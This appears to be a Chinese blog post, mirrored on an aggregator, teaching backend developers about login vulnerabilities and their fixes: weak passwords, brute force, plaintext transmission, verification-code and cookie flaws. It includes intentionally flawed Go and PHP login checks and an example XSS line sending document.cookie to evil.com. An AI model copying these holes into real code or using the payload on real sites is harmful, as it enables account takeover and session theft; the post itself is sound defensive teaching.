0

后端开发都应该了解的登录漏洞

 2 years ago
source link: https://www.cnblogs.com/huiwancode/p/14845767.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

后端开发都应该了解的登录漏洞

登录是大部分网站都具备的一个功能,作为用户使用系统的第一步,如果登陆逻辑设计不合理,容易被攻击者利用,造成安全问题。

相信大家都知道弱口令是什么意思,用户为了方便,一般会使用123456、admin、passwd、password、123qwe等这些作为自己的常用密码,方便好记。黑客会对这些人们常用的密码建立破译字典,逐个尝试进行破解。另外,也建议大家不要用生日、手机号、姓名等相关信息作为密码,黑客在进行暴力破解前,会先收集用户的这些相关信息,录入破译字典中。

Have I Been Pwned上可以查到,"123456"这个密码已经被使用了24,230,577

最直接的解决办法,当然就是用户自己设置复杂的密码了。但是我们也应该从开发的角度提高安全性。

强制提高密码强度

程序规定密码强度规则,用户设置密码时,判断密码的强度是否符合要求,不符合拒绝设置。

限制登陆频率

暴力破解原理是用破译字段里的密码不断尝试登陆,我们可以程序控制登录频率,比如1分钟限制5次尝试登陆,超过这个次数后,再尝试登陆需要手机号/邮箱验证码。提高暴力破解的难度。

密码明文传输

用户请求登陆时,将用户的账号和密码通过明文的方式直接传输到服务端,黑客利用中间人攻击等手段,就能容易截获到用户的账号密码。

客户端和服务端之间的连接使用https加密传输。避免传输数据被第三方获取。

代码逻辑漏洞

空密码登录

密码输错登陆失败,不输密码直接登陆进去了,乍一看不可思议,但确实有这种情况。

func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
	if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
		return errors.New("密码错误")
	}
	// 成功通过
	...
}

大家别笑,真有遇到过这种代码, 可能是由于之前出现过passwdInput传入nil导致代码直接panic了,修改时没注意看逻辑,直接加了一层检查nil的判断,导致漏洞的出现。

"万能密码" - true

写PHP的同学肯定都了解"=="和"==="的区别。

if($passwdFromDb == $passwdInput)
{
    // 登陆成功
}

上面代码,如果passwdInput传入true,就能校验通过了。导致"万能密码"。所以同学们写的时候别吝啬那个"=",说不定能救你一命。

验证码漏洞

如今,登陆、修改密码越来越多都依赖手机/邮箱验证码了,有些甚至可以账号/手机号 + 验证码的免密登陆,验证码控制不当也会是一个漏洞重灾区。

验证码暴力破解

当登陆/修改密码时,服务端向我们手机发送一个6位的验证码。如果服务端没有对验证码做任何限制。攻击者就能对验证码进行暴力尝试。

  1. 对验证码尝试次数/频率进行限制
  2. 控制验证码的有效期

A的验证码,修改B的用户信息

A修改用户信息时,需要验证码校验。后端将用户会话token当成key,value为验证码,在redis中存储。校验时,只通过token校验验证码,不校验要修改信息的目标账号,比如A在修改参数中的userID = B,就会导致修改了B的用户信息。造成漏洞。

注意验证码与目标账号身份的匹配。

cookie漏洞

cookie是用于客户端存储会话状态的,使用不加注意容易导致漏洞产生。

使用cookie进行身份验证

  • 接口通过请求头中cookie的userID判断用户身份。可以直接修改cookie中的userID字段,伪造成任意其他用户。
  • 接口通过请求头中cookie的role字段判断用户权限,可以直接修改前端cookie中的role字段,对用户进行提权。

使用服务端的session存储用户信息,接口进行身份验证时,可以通过cookie中的sessionID字段,找到对应session内容,获取到用户信息,再进行后续判断。

cookie未设置httponly

xss攻击是一种代码注入攻击,攻击者在网站上注入恶意代码,使之在用户访问网站时运行,从而获取用户的敏感信息。 注入恶意代码并不需要直接改网站源代码,比如用户在一个评论区写下

<script src=“http://evil.com” + escape(document.cookie)>

而程序没有对输入内容进行代码字符转义。其他人打开评论区时,就会自动运行这段恶意代码,将自己的cookie内容发送到http://evil.com,导致cookie的泄漏。

当使用session存储用户信息时,cookie中存放着sessionID,后端接口根据sessionID对应的session进行用户身份校验。如果cookie中的sessionID被攻击者获取,即可以伪造受害者身份登陆网站。

开启cookie的httponly属性,开启后,无法通过js脚本读取到cookie信息。可以有效防止xss攻击窃取cookie内容。

大家还知道其他的什么登陆漏洞,欢迎分享探讨~

喜欢本文的朋友,欢迎关注公众号「会玩code」,专注大白话分享实用技术


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK